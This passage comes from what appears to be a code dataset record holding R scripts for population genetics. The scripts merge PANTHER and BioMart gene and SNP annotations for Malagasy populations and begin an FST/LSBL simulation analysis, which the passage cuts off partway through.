\"~/Jason_Data/ByPop/R_Output/Vezo_AI.csv\")\n\n#cleaning data for PANTHER/after PANTHER\nMAI <- read.csv(\"~/Jason_Data/ByPop/shared_SNPs_MAI.csv\")\nhead(MAI)\n\nMAI <- MAI %>%\n rename(\"Ensembl ID\" = Ensembl.ID) %>%\n dplyr::select(\"Ensembl ID\")\n\nwrite.csv(MAI, \"~/Jason_Data/ByPop/MAI_Ensembl.csv\", quote = FALSE, row.names = FALSE)\n\nMPS <- read.csv(\"~/Jason_Data/ByPop/shared_SNPs_MPS.csv\")\n\nMPS <- MPS %>%\n rename(\"Ensembl ID\" = Ensembl.ID) %>%\n dplyr::select(\"Ensembl ID\")\nwrite.csv(MPS, \"~/Jason_Data/ByPop/MPS_Ensembl.csv\", quote = FALSE, row.names = FALSE)\n\n#Read in PANTHER gene lists\nAll_PS1 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/PS_Bonferroni/lipidlocal.txt\", header = FALSE)\nAll_PS2 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/PS_Bonferroni/unclassified.txt\", header = FALSE)\nAll_PS <- rbind(All_PS1, All_PS2)\n\nAll_PS <- All_PS %>%\n rename(\"Ensembl ID\" = V2) %>%\n rename(\"PANTHER Family\" = V4) %>%\n dplyr::select(\"Ensembl ID\", \"PANTHER Family\")\nnrow(All_PS)\nnrow(MPS)\nhead(All_PS)\n\n#Merge with total PS SNP list \nAll_PS2 <- merge(MPS, All_PS, by.y = \"Ensembl ID\", all.x = T)\nAll_PS2 <- distinct(All_PS2)\n \nhead(All_PS2)\nnrow(All_PS2)\n\nwrite.csv(All_PS2, \"~/Jason_Data/ByPop/BioPANTHER/SharedMPS_BioPANTHER.csv\")\n\n#Read in PANTHER gene list\nAll_AI <- read.delim(\"~/Jason_Data/ByPop/PANTHER/AI_Bonferroni/unclassified.txt\", header = FALSE)\n\n\nAll_AI <- All_AI %>%\n rename(\"Ensembl ID\" = V2) %>%\n rename(\"PANTHER Family\" = V4) %>%\n dplyr::select(\"Ensembl ID\", \"PANTHER Family\")\nnrow(All_AI)\nnrow(MAI)\n\nhead(All_AI)\nhead(MAI)\n\nMAI <- MAI %>%\n rename(\"Ensembl ID\" = Ensembl.ID) \n\n\nAll_AI2 <- merge(MAI, All_AI, by.y = \"Ensembl ID\", all.x = T)\nhead(All_AI2)\nAll_AI2 <- distinct(All_AI2)\n\nhead(All_AI2)\nnrow(All_AI2)\n\nwrite.csv(All_AI2, \"~/Jason_Data/ByPop/Shared_SNPs_MAI_PANTHER.csv\")\n\n#BYPOP!\n\n#Betsileo\nBetsi_AI1 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Betsi/AI/signaltrans.txt\", header = FALSE)\nBetsi_AI2 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Betsi/AI/unclassified.txt\", header = FALSE)\nBetsi_AI <- rbind(Betsi_AI1, Betsi_AI2)\n\nBetsi_AI <- Betsi_AI %>%\n rename(\"Ensembl ID\" = V2) %>%\n rename(\"PANTHER Family\" = V4) %>%\n dplyr::select(\"Ensembl ID\", \"PANTHER Family\")\nnrow(Betsi_AI)\nBAI <- read.csv(\"~/Jason_Data/ByPop/BioMart/Betsi_AdInt.csv\")\nBAI <- BAI %>%\n rename(\"Ensembl ID\" = Ensembl.ID)\n\nnrow(BAI)\nhead(BAI)\n\nBetsi_AI2 <- merge(BAI, Betsi_AI, by.y = \"Ensembl ID\", all.x = T)\nBetsi_AI2 <- distinct(Betsi_AI2)\n\nhead(Betsi_AI2)\nnrow(Betsi_AI2)\n\nwrite.csv(Betsi_AI2, \"~/Jason_Data/ByPop/BioPANTHER/Betsi_AI.csv\")\n\n\nBetsi_PS <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Betsi/PS/unclassified.txt\", header = FALSE)\n\nBetsi_PS <- Betsi_PS %>%\n rename(\"Ensembl ID\" = V2) %>%\n rename(\"PANTHER Family\" = V4) %>%\n dplyr::select(\"Ensembl ID\", \"PANTHER Family\")\nnrow(Betsi_AI)\nBAI <- read.csv(\"~/Jason_Data/ByPop/BioMart/Betsi_PurSel.csv\")\nBAI <- BAI %>%\n rename(\"Ensembl ID\" = Ensembl.ID)\n\nnrow(BAI)\nhead(BAI)\n\nBetsi_AI2 <- merge(BAI, Betsi_AI, by.y = \"Ensembl ID\", all.x = T)\nBetsi_AI2 <- distinct(Betsi_AI2)\n\nhead(Betsi_AI2)\nnrow(Betsi_AI2)\n\nwrite.csv(Betsi_AI2, \"~/Jason_Data/ByPop/BioPANTHER/Betsi_PS.csv\")\n\n#Betsimisaraka -- NO SIGNIFICANT RESULTS\n\n#Diego\nDiego_AI1 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Diego/AI/unclassified.txt\", header = FALSE)\nDiego_AI2 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Diego/AI/glutamatepathway.txt\", header = FALSE)\nDiego_AI3 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Diego/AI/modsyntrans.txt\", header = FALSE)\nDiego_AI4 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Diego/AI/regsignal.txt\", header = FALSE)\nDiego_AI5 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Diego/AI/regtranssynsignal.txt\", header = FALSE)\nDiego_AI6 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Diego/AI/syntransglutamatergic.txt\", header = FALSE)\nDiego_AI <- rbind(Diego_AI1, Diego_AI2, Diego_AI3, Diego_AI4, Diego_AI5, Diego_AI6)\n\nDiego_AI <- Diego_AI %>%\n rename(\"Ensembl ID\" = V2) %>%\n rename(\"PANTHER Family\" = V4) %>%\n dplyr::select(\"Ensembl ID\", \"PANTHER Family\")\nnrow(Diego_AI)\nDAI <- read.csv(\"~/Jason_Data/ByPop/BioMart/Diego_AdInt.csv\")\nDAI <- DAI %>%\n rename(\"Ensembl ID\" = Ensembl.ID)\n\nnrow(DAI)\n\nDiego_AI <- merge(DAI, Diego_AI, by.y = \"Ensembl ID\", all.x = T)\nDiego_AI <- distinct(Diego_AI)\n\nnrow(Diego_AI)\n\nwrite.csv(Diego_AI, \"~/Jason_Data/ByPop/BioPANTHER/Diego_AI.csv\")\n\nDiego_PS <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Diego/PS/unclassified.txt\", header = FALSE)\n\nDiego_PS <- Diego_PS %>%\n rename(\"Ensembl ID\" = V2) %>%\n rename(\"PANTHER Family\" = V4) %>%\n dplyr::select(\"Ensembl ID\", \"PANTHER Family\")\nnrow(Diego_PS)\nDPS <- read.csv(\"~/Jason_Data/ByPop/BioMart/Diego_PurSel.csv\")\nDPS <- DPS %>%\n rename(\"Ensembl ID\" = Ensembl.ID)\n\nnrow(DPS)\nhead(DPS)\n\nDiego_PS <- merge(DPS, Diego_PS, by.y = \"Ensembl ID\", all.x = T)\nDiego_PS <- distinct(Diego_PS)\n\nhead(Diego_PS)\nnrow(Diego_PS)\n\nwrite.csv(Diego_PS, \"~/Jason_Data/ByPop/BioPANTHER/Diego_PS.csv\")\n\n\n#Merina have no AI significant results! But they do have PS\nMerina_PS1 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Merina/PS/unclassified.txt\", header = FALSE)\nMerina_PS2 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Merina/PS/anterograde.txt\", header = FALSE)\nMerina_PS3 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Merina/PS/cellcelladhesion.txt\", header = FALSE)\nMerina_PS4 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Merina/PS/chemsyntrans.txt\", header = FALSE)\nMerina_PS5 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Merina/PS/glutamatesignal.txt\", header = FALSE)\nMerina_PS6 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Merina/PS/modulsyntrans.txt\", header = FALSE)\nMerina_PS7 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Merina/PS/regsignaling.txt\", header = FALSE)\nMerina_PS8 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Merina/PS/regtranssyn.txt\", header = FALSE)\nMerina_PS9 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Merina/PS/regulationtranssynsignaling.txt\", header = FALSE)\nMerina_PS10 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Merina/PS/signaltrans.txt\", header = FALSE)\nMerina_PS11 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Merina/PS/syantrans.txt\", header = FALSE)\nMerina_PS12 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Merina/PS/synsignal.txt\", header = FALSE)\nMerina_PS <- rbind(Merina_PS1, Merina_PS2, Merina_PS3, Merina_PS4, Merina_PS5, Merina_PS6, \n Merina_PS7, Merina_PS8, Merina_PS9, Merina_PS10, Merina_PS11, Merina_PS12)\n\nMerina_PS <- Merina_PS %>%\n rename(\"Ensembl ID\" = V2) %>%\n rename(\"PANTHER Family\" = V4) %>%\n dplyr::select(\"Ensembl ID\", \"PANTHER Family\")\nnrow(Merina_PS)\nMerPS <- read.csv(\"~/Jason_Data/ByPop/BioMart/Merina_PurSel.csv\")\nMerPS <- MerPS %>%\n rename(\"Ensembl ID\" = Ensembl.ID)\n\nnrow(MerPS)\n\nMerina_PS <- merge(MerPS, Merina_PS, by.y = \"Ensembl ID\", all.x = T)\nMerina_PS <- distinct(Merina_PS)\n\nnrow(Merina_PS)\n\nwrite.csv(Merina_PS, \"~/Jason_Data/ByPop/BioPANTHER/Merina_PS.csv\")\n\n#Mikea\nMikea_AI <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Mikea/AI/unclassified.txt\", header = FALSE)\n\nMikea_AI <- Mikea_AI %>%\n rename(\"Ensembl ID\" = V2) %>%\n rename(\"PANTHER Family\" = V4) %>%\n dplyr::select(\"Ensembl ID\", \"PANTHER Family\")\nnrow(Mikea_AI)\nMikAI <- read.csv(\"~/Jason_Data/ByPop/BioMart/Mikea_AdInt.csv\")\nMikAI <- MikAI %>%\n rename(\"Ensembl ID\" = Ensembl.ID)\n\nnrow(MikAI)\n\nMikea_AI <- merge(MikAI, Mikea_AI, by.y = \"Ensembl ID\", all.x = T)\nMikea_AI <- distinct(Mikea_AI)\n\nnrow(Mikea_AI)\n\nwrite.csv(Mikea_AI, \"~/Jason_Data/ByPop/BioPANTHER/Mikea_AI.csv\")\n\nMikea_PS <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Mikea/PS/unclassified.txt\", header = FALSE)\n\nMikea_PS <- Mikea_PS %>%\n rename(\"Ensembl ID\" = V2) %>%\n rename(\"PANTHER Family\" = V4) %>%\n dplyr::select(\"Ensembl ID\", \"PANTHER Family\")\nnrow(Mikea_PS)\nMikPS <- read.csv(\"~/Jason_Data/ByPop/BioMart/Mikea_PurSel.csv\")\nMikPS <- MikPS %>%\n rename(\"Ensembl ID\" = Ensembl.ID)\n\nnrow(MikPS)\n\nMikea_PS <- merge(MikPS, Mikea_PS, by.y = \"Ensembl ID\", all.x = T)\nMikea_PS <- distinct(Mikea_PS)\n\nnrow(Mikea_PS)\n\nwrite.csv(Mikea_PS, \"~/Jason_Data/ByPop/BioPANTHER/Mikea_PS.csv\")\n\n#SakTsim\nSakTsim_AI <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/SakTsim/AI/unclassified.txt\", header = FALSE)\n\nSakTsim_AI <- SakTsim_AI %>%\n rename(\"Ensembl ID\" = V2) %>%\n rename(\"PANTHER Family\" = V4) %>%\n dplyr::select(\"Ensembl ID\", \"PANTHER Family\")\nnrow(SakTsim_AI)\nSAI <- read.csv(\"~/Jason_Data/ByPop/BioMart/SakTsim_AdInt.csv\")\nSAI <- SAI %>%\n rename(\"Ensembl ID\" = Ensembl.ID)\n\nnrow(SAI)\n\nSakTsim_AI <- merge(SAI, SakTsim_AI, by.y = \"Ensembl ID\", all.x = T)\nSakTsim_AI <- distinct(SakTsim_AI)\n\nnrow(SakTsim_AI)\n\nwrite.csv(SakTsim_AI, \"~/Jason_Data/ByPop/BioPANTHER/SakTsim_AI.csv\")\n\nSakTsim_PS <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/SakTsim/PS/unclassified.txt\", header = FALSE)\n\nSakTsim_PS <- SakTsim_PS %>%\n rename(\"Ensembl ID\" = V2) %>%\n rename(\"PANTHER Family\" = V4) %>%\n dplyr::select(\"Ensembl ID\", \"PANTHER Family\")\nnrow(SakTsim_PS)\nSPS <- read.csv(\"~/Jason_Data/ByPop/BioMart/SakTsim_PurSel.csv\")\nSPS <- SPS %>%\n rename(\"Ensembl ID\" = Ensembl.ID)\n\nnrow(SPS)\n\nSakTsim_PS <- merge(SPS, SakTsim_PS, by.y = \"Ensembl ID\", all.x = T)\nSakTsim_PS <- distinct(SakTsim_PS)\n\nnrow(SakTsim_PS)\n\nwrite.csv(SakTsim_PS, \"~/Jason_Data/ByPop/BioPANTHER/SakTsim_PS.csv\")\n\n#Temoro\n\nTemoro_AI <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Temoro/AI/unclassified.txt\", header = FALSE)\n\nTemoro_AI <- Temoro_AI %>%\n rename(\"Ensembl ID\" = V2) %>%\n rename(\"PANTHER Family\" = V4) %>%\n dplyr::select(\"Ensembl ID\", \"PANTHER Family\")\nnrow(Temoro_AI)\nTAI <- read.csv(\"~/Jason_Data/ByPop/BioMart/Temoro_AdInt.csv\")\nTAI <- TAI %>%\n rename(\"Ensembl ID\" = Ensembl.ID)\n\nnrow(TAI)\n\nTemoro_AI <- merge(TAI, Temoro_AI, by.y = \"Ensembl ID\", all.x = T)\nTemoro_AI <- distinct(Temoro_AI)\n\nnrow(Temoro_AI)\n\nwrite.csv(Temoro_AI, \"~/Jason_Data/ByPop/BioPANTHER/Temoro_AI.csv\")\n\nTemoro_PS1 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Temoro/PS/unclassified.txt\", header = FALSE)\nTemoro_PS2 <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Temoro/PS/lipidlocal.txt\", header = FALSE)\nTemoro_PS <- rbind(Temoro_PS1, Temoro_PS2)\n\nTemoro_PS <- Temoro_PS %>%\n rename(\"Ensembl ID\" = V2) %>%\n rename(\"PANTHER Family\" = V4) %>%\n dplyr::select(\"Ensembl ID\", \"PANTHER Family\")\nnrow(Temoro_PS)\nTPS <- read.csv(\"~/Jason_Data/ByPop/BioMart/Temoro_PurSel.csv\")\nTPS <- TPS %>%\n rename(\"Ensembl ID\" = Ensembl.ID)\n\nnrow(TPS)\n\nTemoro_PS <- merge(TPS, Temoro_PS, by.y = \"Ensembl ID\", all.x = T)\nTemoro_PS <- distinct(Temoro_PS)\n\nnrow(Temoro_PS)\n\nwrite.csv(Temoro_PS, \"~/Jason_Data/ByPop/BioPANTHER/Temoro_PS.csv\")\n\n#Vezo\n\nVezo_AI <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Vezo/AI/unclassified.txt\", header = FALSE)\n\nVezo_AI <- Vezo_AI %>%\n rename(\"Ensembl ID\" = V2) %>%\n rename(\"PANTHER Family\" = V4) %>%\n dplyr::select(\"Ensembl ID\", \"PANTHER Family\")\nnrow(Vezo_AI)\nVAI <- read.csv(\"~/Jason_Data/ByPop/BioMart/Vezo_AdInt.csv\")\nVAI <- VAI %>%\n rename(\"Ensembl ID\" = Ensembl.ID)\n\nnrow(VAI)\n\nVezo_AI <- merge(VAI, Vezo_AI, by.y = \"Ensembl ID\", all.x = T)\nVezo_AI <- distinct(Vezo_AI)\n\nnrow(Vezo_AI)\n\nwrite.csv(Vezo_AI, \"~/Jason_Data/ByPop/BioPANTHER/Vezo_AI.csv\")\n\nVezo_PS <- read.delim(\"~/Jason_Data/ByPop/PANTHER/POP/Vezo/PS/unclassified.txt\", header = FALSE)\n\nVezo_PS <- Vezo_PS %>%\n rename(\"Ensembl ID\" = V2) %>%\n rename(\"PANTHER Family\" = V4) %>%\n dplyr::select(\"Ensembl ID\", \"PANTHER Family\")\nnrow(Vezo_PS)\nVPS <- read.csv(\"~/Jason_Data/ByPop/BioMart/Vezo_PurSel.csv\")\nVPS <- VPS %>%\n rename(\"Ensembl ID\" = Ensembl.ID)\n\nnrow(VPS)\n\nVezo_PS <- merge(VPS, Vezo_PS, by.y = \"Ensembl ID\", all.x = T)\nVezo_PS <- distinct(Vezo_PS)\n\nnrow(Vezo_PS)\n\nwrite.csv(Vezo_PS, \"~/Jason_Data/ByPop/BioPANTHER/Vezo_PS.csv\")\n\n#Genic and PANTHER lists\n\nPantherGenesAIM <- read.csv(\"~/Jason_Data/ByPop/BioPANTHER/SharedAI_Genic.csv\")\ncolnames(PantherGenesAIM)\nnrow(PantherGenesAIM)\n\nPGAIM <- PantherGenesAIM %>%\n dplyr::select(\"Chr\", \"Gene\", \"Associated.Phenotype\",\"Betsileo\", \n \"Betsimisaraka\", \"Diego\", \"Merina\", \"Mikea\", \n \"Sakalava.Tsimihety\", \"Temoro\", \"Vezo\", \"PANTHER.Protein.Family\", \"Source\") %>%\n group_by(PANTHER.Protein.Family) %>%\n summarise(\"Chr\" = paste(unique(Chr), collapse = \", \"),\n \"Gene\" = paste(unique(Gene), collapse = \", \"),\n \"Betsileo\" = paste(Betsileo, collapse = \", \"),\n \"Betsimisaraka\" = paste(Betsimisaraka, collapse = \", \"),\n \"Diego\" = paste(Diego, collapse = \", \"),\n \"Merina\" = paste(Merina, collapse = \", \"), \n \"Mikea\" = paste(Mikea, collapse = \", \"),\n \"Sakalava/Tsimihety\" = paste(Sakalava.Tsimihety, collapse = \", \"),\n \"Temoro\" = paste(Temoro, collapse = \", \"),\n \"Vezo\" = paste(Vezo, collapse = \", \"),\n \"Associated Phenotype\" = paste(unique(Associated.Phenotype), collapse = \", \")) %>%\n filter(PANTHER.Protein.Family != \"\") %>%\n rename(\"PANTHER Protein Family\" = PANTHER.Protein.Family) %>%\n dplyr::select(\"Chr\", \"Gene\", \"Associated Phenotype\", \"Betsileo\", \"Betsimisaraka\", \n \"Diego\", \"Merina\", \"Mikea\", \"Sakalava/Tsimihety\", \"Temoro\", \n \"Vezo\", \"PANTHER Protein Family\")\nhead(PGAIM)\n\nwrite.csv(PGAIM, \"~/Jason_Data/ByPop/BioPANTHER/SharedAIM_PANTHER.csv\", row.names = FALSE, na = \"\")\n\n\nPAIM <- PantherGenesAIM %>%\n dplyr::select(\"SNP\", \"Chr\", \"Gene\") %>%\n na.omit()\nnrow(PAIM)\n\nPAIM <- PAIM %>%\n group_by(Gene) %>%\n summarise(Rep = length(SNP),\n SNP = paste(unique(SNP), collapse = \", \"))\nnrow(PAIM)\n\nwrite.csv(PAIM, \"~/Jason_Data/ByPop/BioPANTHER/PAIM.csv\", col.names = FALSE, na = '')\n\n\nPantherGenesPSM <- read.csv(\"~/Jason_Data/ByPop/BioPANTHER/SharedPS_Genic.csv\", na = \"\")\ncolnames(PantherGenesPSM)\nnrow(PantherGenesPSM)\n\nPGPSM <- PantherGenesPSM %>%\n dplyr::select(\"Chr\", \"Gene\", \"Associated.Phenotype\",\"Betsileo\", \n \"Betsimisaraka\", \"Diego\", \"Merina\", \"Mikea\", \n \"Sakalava.Tsimihety\", \"Temoro\", \"Vezo\", \"PANTHER.Protein.Family\", \"Source\") %>%\n group_by(PANTHER.Protein.Family) %>%\n summarise(\"Chr\" = paste(unique(Chr), collapse = \", \"),\n \"Gene\" = paste(unique(Gene), collapse = \", \"),\n \"Betsileo\" = paste(Betsileo, collapse = \", \"),\n \"Betsimisaraka\" = paste(Betsimisaraka, collapse = \", \"),\n \"Diego\" = paste(Diego, collapse = \", \"),\n \"Merina\" = paste(Merina, collapse = \", \"), \n \"Mikea\" = paste(Mikea, collapse = \", \"),\n \"Sakalava/Tsimihety\" = paste(Sakalava.Tsimihety, collapse = \", \"),\n \"Temoro\" = paste(Temoro, collapse = \", \"),\n \"Vezo\" = paste(Vezo, collapse = \", \"),\n \"Associated Phenotype\" = paste(unique(Associated.Phenotype), collapse = \", \")) %>%\n filter(PANTHER.Protein.Family != \"\") %>%\n rename(\"PANTHER Protein Family\" = PANTHER.Protein.Family) %>%\n dplyr::select(\"Chr\", \"Gene\", \"Associated Phenotype\", \"Betsileo\", \"Betsimisaraka\", \n \"Diego\", \"Merina\", \"Mikea\", \"Sakalava/Tsimihety\", \"Temoro\", \n \"Vezo\", \"PANTHER Protein Family\")\nhead(PGPSM)\n\nwrite.csv(PGPSM, \"~/Jason_Data/ByPop/BioPANTHER/SharedPSM_PANTHER.csv\", row.names = FALSE, na = \"\")\n\n\nPSGM <- PantherGenesPSM %>%\n dplyr::select(\"SNP\", \"Chr\", \"Gene\") %>%\n na.omit()\nnrow(PSGM)\n\nPSGM <- PSGM %>%\n group_by(Gene) %>%\n summarise(Rep = length(SNP),\n SNP = paste(unique(SNP), collapse = \", \"))\nnrow(PSGM)\n\nwrite.csv(PSGM, \"~/Jason_Data/ByPop/BioPANTHER/PSGM.csv\", col.names = FALSE, na = '')\n\n#BioMart for all Subpopulations\n#Change \"Top\" and \"Bottom\" + output files as necessary\nTop <- read.csv(\"~/Jason_Data/ByPop/R_Output/Betsi_AI.csv\")\nBottom <- read.csv(\"~/Jason_Data/ByPop/R_Output/Betsi_PS.csv\")\n\n#Use BiomaRt to identify SNPs\n\n#Create path to dataset/host from BioMart\nsapiens.snp = useMart(\"ENSEMBL_MART_SNP\",\n dataset=\"hsapiens_snp\")\n\nsapiens = useMart(\"ensembl\",\n dataset='hsapiens_gene_ensembl')\n\n#Filter adaptive introgression and purify selection to SNPs and population names\nAdInt <- Top %>%\n dplyr::select(POP, RS) %>%\n rename(refsnp_id = RS)\n\n\nPurSel <- Bottom %>%\n dplyr::select(POP, RS) %>%\n rename(refsnp_id = RS)\n\n#Adaptive Introgression\n\n#Grab SNP attributes from BioMart\nT1 <- getBM(attributes = c(\"refsnp_id\", \"allele\", \"chr_name\", \"chrom_start\", \n \"clinical_significance\", \"associated_gene\", \"consequence_type_tv\",\n \"authors\", \"year\", \"pmid\", \"ensembl_gene_stable_id\"),\n filters = \"snp_filter\",\n values = AdInt$refsnp_id,\n mart = sapiens.snp)\n\nhead(T1)\n\n#Grab associated gene attributes from BioMart\nT2 <- getBM(attributes = c(\"ensembl_gene_id\", \n \"external_gene_name\", \n \"band\", \n \"start_position\",\n \"end_position\", \n \"phenotype_description\", \n \"entrezgene\", \n \"description\"),\n filters = \"ensembl_gene_id\",\n values = T1$ensembl_gene_stable_id,\n mart = sapiens)\n\n#Merge SNPs and genes for adaptive introgression\nAdInt <- merge(T1, T2, by.x = \"ensembl_gene_stable_id\", by.y=\"ensembl_gene_id\",all.x=T)\nAdInt <- data.frame(AdInt)\n\n#Remove unnecessary attributes\nAdInt <- AdInt %>% \n dplyr::select(\"refsnp_id\", \"allele\", \"consequence_type_tv\", \"chr_name\", \"chrom_start\", \n \"associated_gene\", \"external_gene_name\", \"phenotype_description\", \n \"description\", \"authors\", \"year\", \"ensembl_gene_stable_id\")\n\n#Get rid of duplicates created by the BioMart system\nAdInt <- AdInt %>%\n group_by(refsnp_id) %>% \n summarise(allele = paste(unique(allele), collapse = \"; \"),\n chr_name = paste(unique(chr_name), collapse = \"; \"),\n consequence_type_tv = paste(unique(consequence_type_tv), collapse = \"; \"),\n chrom_start = paste(unique(chrom_start), collapse = \"; \"),\n associated_gene = paste(unique(associated_gene), collapse = \"; \"),\n external_gene_name = paste(unique(external_gene_name), collapse = \"; \"),\n phenotype_description = paste(unique(phenotype_description), collapse = \"; \"),\n description = paste(unique(description), collapse = \"; \"),\n authors = paste((authors), collapse = \"; \"),\n year = paste((year), collapse = \"; \"),\n ensembl_gene_stable_id = paste(unique(ensembl_gene_stable_id), collapse = \"; \")) %>%\n arrange(chr_name)\n\n\n#Make the table look nice(r)\nAdInt <- AdInt %>% \n rename(\"SNP\" = refsnp_id, \n \"Ref/Alt\" = allele,\n \"SNP Function\" = consequence_type_tv,\n \"Chr\" = chr_name,\n \"Position\" = chrom_start,\n \"Gene (Associated)\" = associated_gene,\n \"Gene\" = external_gene_name,\n \"Associated Phenotype\" = phenotype_description,\n \"Gene Function\" = description,\n \"Authors\" = authors,\n \"Year\" = year, \n \"Ensembl ID\" = ensembl_gene_stable_id)\n\n#Write Adaptive Introgression file\nwrite.csv(AdInt, file = \"~/Jason_Data/ByPop/BioMart/Betsi_AdInt.csv\")\n\npantherAI <- AdInt %>%\n dplyr::select(\"Ensembl ID\")\n\nwrite.csv(pantherAI, \"~/Jason_Data/ByPop/PANTHER/pantherAI_Betsi.csv\", quote = FALSE, row.names = FALSE)\n\n#Purifying Selection - Repeat the above steps for the PurSel SNPs\n\nT3 <- getBM(attributes = c(\"refsnp_id\", \n \"allele\", \n \"chr_name\", \n \"chrom_start\", \n \"clinical_significance\", \n \"associated_gene\", \n \"consequence_type_tv\",\n \"authors\", \n \"year\", \n \"pmid\", \n \"ensembl_gene_stable_id\"),\n filters = \"snp_filter\",\n values = PurSel$refsnp_id,\n mart = sapiens.snp)\n\nT4 <- getBM(attributes = c(\"ensembl_gene_id\", \n \"external_gene_name\", \n \"band\", \n \"start_position\",\n \"end_position\", \n \"phenotype_description\", \n \"description\"),\n filters = \"ensembl_gene_id\",\n values = T3$ensembl_gene_stable_id,\n mart = sapiens)\n\nPurSel <- merge(T3, T4, by.x = \"ensembl_gene_stable_id\", by.y=\"ensembl_gene_id\",all.x=T)\nPurSel <- data.frame(PurSel)\n\n\nPurSel <- PurSel %>% \n dplyr::select(\"refsnp_id\", \"allele\", \"consequence_type_tv\", \"chr_name\", \"chrom_start\", \"associated_gene\", \n \"external_gene_name\", \"phenotype_description\", \"description\", \"authors\", \"year\", \"ensembl_gene_stable_id\")\n\nPurSel <- PurSel %>%\n group_by(refsnp_id) %>% \n summarise(allele = paste(unique(allele), collapse = \"; \"),\n chr_name = paste(unique(chr_name), collapse = \"; \"),\n consequence_type_tv = paste(unique(consequence_type_tv), collapse = \"; \"),\n chrom_start = paste(unique(chrom_start), collapse = \"; \"),\n associated_gene = paste(unique(associated_gene), collapse = \"; \"),\n external_gene_name = paste(unique(external_gene_name), collapse = \"; \"),\n phenotype_description = paste(unique(phenotype_description), collapse = \"; \"),\n description = paste(unique(description), collapse = \"; \"),\n authors = paste((authors), collapse = \"; \"),\n year = paste((year), collapse = \"; \"),\n ensembl_gene_stable_id = paste(unique(ensembl_gene_stable_id), collapse = \"; \")) %>%\n arrange(chr_name)\n\n\nPurSel <- PurSel %>% \n rename(\"SNP\" = refsnp_id, \n \"Ref/Alt\" = allele,\n \"SNP Function\" = consequence_type_tv,\n \"Chr\" = chr_name,\n \"Position\" = chrom_start,\n \"Gene (Associated)\" = associated_gene,\n \"Gene\" = external_gene_name,\n \"Associated Phenotype\" = phenotype_description,\n \"Gene Function\" = description,\n \"Authors\" = authors,\n \"Year\" = year,\n \"Ensembl ID\" = ensembl_gene_stable_id)\n\nwrite.csv(PurSel, file = \"~/Jason_Data/ByPop/BioMart/Betsi_PurSel.csv\")\n\npantherPS <- PurSel %>%\n dplyr::select(\"Ensembl ID\")\n\nwrite.csv(pantherPS, \"~/Jason_Data/ByPop/PANTHER/pantherPS_Betsi.csv\", quote = FALSE, row.names = FALSE)\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5499317646026611, "alphanum_fraction": 0.6093952059745789, "avg_line_length": 30.072826385498047, "blob_id": "1aa5870728a5bd4140a404fc729c2b94cd216eeb", "content_id": "927fd9253aece2b6cef112b1f8e146d028eb3e6b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 28589, "license_type": "no_license", "max_line_length": 118, "num_lines": 920, "path": "/Scripts/Anc_Candidate/sims.R", "repo_name": "bioanth3807/Developing_Novel_Statistic", "src_encoding": "UTF-8", "text": "library(dplyr)\nlibrary(MuMIn)\nlibrary(ggplot2)\nlibrary(viridis)\nlibrary(ggsci)\nlibrary(grid)\nlibrary(SDMTools)\nlibrary(dendextend)\nlibrary(ape)\n\ninputfile1 <- \"FST.RTable\"\ninputfile2 <- \"ADMIXTURE results\"\n\nsims <- read.table(\"~/FST_Sims/Trials_2/Trial_1/results/Sims_FST.RTable\", header=TRUE)\n\n#Set negative FST values positive, remove sims-unique SNPs\nsims$FST_PARENT1 <- ifelse(sims$FST_PARENT1 < 0, 0, sims$FST_PARENT1)\nsims$FST_PARENT2 <- ifelse(sims$FST_PARENT2 < 0, 0, sims$FST_PARENT2)\nsims$FST_SOURCE <- ifelse(sims$FST_SOURCE < 0, 0, sims$FST_SOURCE)\n\nhist(sims$FST_SOURCE)\n\n#Calculate LSBL for each locus/pop\nsims_LSBL <- sims %>%\n mutate(LSBL_PARENT2 = (((FST_SOURCE + FST_PARENT2) - FST_PARENT1)/2)) %>%\n mutate(LSBL_PARENT1 = (((FST_SOURCE + FST_PARENT1) - FST_PARENT2)/2)) %>%\n mutate(LSBL_ADMIXED = (((FST_PARENT2 + FST_PARENT1) - FST_SOURCE)/2)) %>%\n dplyr::select(RS, POP, CHR, POS, FST_PARENT1, FST_PARENT2, FST_SOURCE, LSBL_PARENT1, LSBL_PARENT2, LSBL_ADMIXED) %>%\n na.omit()\nhead(sims_LSBL)\n\nsims_LSBL$LSBL_PARENT1 <- ifelse(sims_LSBL$LSBL_PARENT1 < 0, 0, sims_LSBL$LSBL_PARENT1)\nsims_LSBL$LSBL_PARENT2 <- ifelse(sims_LSBL$LSBL_PARENT2 < 0, 0, sims_LSBL$LSBL_PARENT2) \nsims_LSBL$LSBL_ADMIXED <- 